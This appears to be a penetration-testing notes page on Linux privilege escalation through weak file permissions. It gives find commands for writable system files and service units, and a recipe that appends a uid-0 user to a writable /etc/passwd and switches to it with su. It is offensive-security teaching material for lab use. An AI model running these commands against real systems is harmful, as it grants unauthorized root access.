> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/privesc/permissions.md). # Permissions Linux permission misconfiguration notes for writable files, /etc/passwd abuse, Smart Enumeration, and least privilege checks. Permission-based privilege escalation abuses writable files, weak ownership, exposed secrets, or sensitive paths that should only be controlled by root. Small permission mistakes can become direct root access when they affect authentication files or privileged execution paths. ## Methodology * Find writable files and directories outside expected user-controlled locations. * Check ownership and group permissions on sensitive files such as `/etc/passwd`, backups, scripts, and service configs. * Use automated enumeration to catch hidden permission mistakes, then validate manually. ## Quick Checks ```bash find / -writable 2>/dev/null find /etc -writable -type f 2>/dev/null ls -la /etc/passwd /etc/shadow 2>/dev/null ``` {% hint style="info" %} Permission misconfigurations expose sensitive files, writable paths, or administrator-only actions to low-privileged users. Always validate writable files, ownership, group access, and execution context. {% endhint %} ## Sensitive Writable Files Prioritize writable system files, service configuration, backups, and scripts that root executes. ```bash find /etc -writable -type f 2>/dev/null find /etc/service/ -writable 2>/dev/null find / -writable -name "*.service" 2>/dev/null find / -writable -path "/etc/systemd/system/*" 2>/dev/null ``` ### `/etc/passwd` Abuse If `/etc/passwd` is writable, generate a controlled hash and add a temporary root-equivalent user only in a lab or authorized target: ```bash openssl passwd -1 -salt xyz password123 echo 'malicious:$1$xyz$SomeHashedPasswordHere:0:0::/root:/bin/bash' >> /etc/passwd su malicious ```

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Linux Permissions Calculator

Search octal and symbolic permissions, convert modes, review SUID/SGID/sticky bits, and triage privilege escalation risk.Linux Permissions Calculator

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Smart Enumeration

Smart Enumeration Tool notes for Linux privilege escalation, with enumeration steps, exploitation examples, and reporting-focused validation.Smart Enumeration - Linux Privilege Escalation

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/etc/passwd Write Abuse

Permission Management (/etc/passwd) notes for Linux privilege escalation, with enumeration steps, exploitation examples, and reporting-focused validation./etc/passwd Write Abuse - Linux Privilege Escalation
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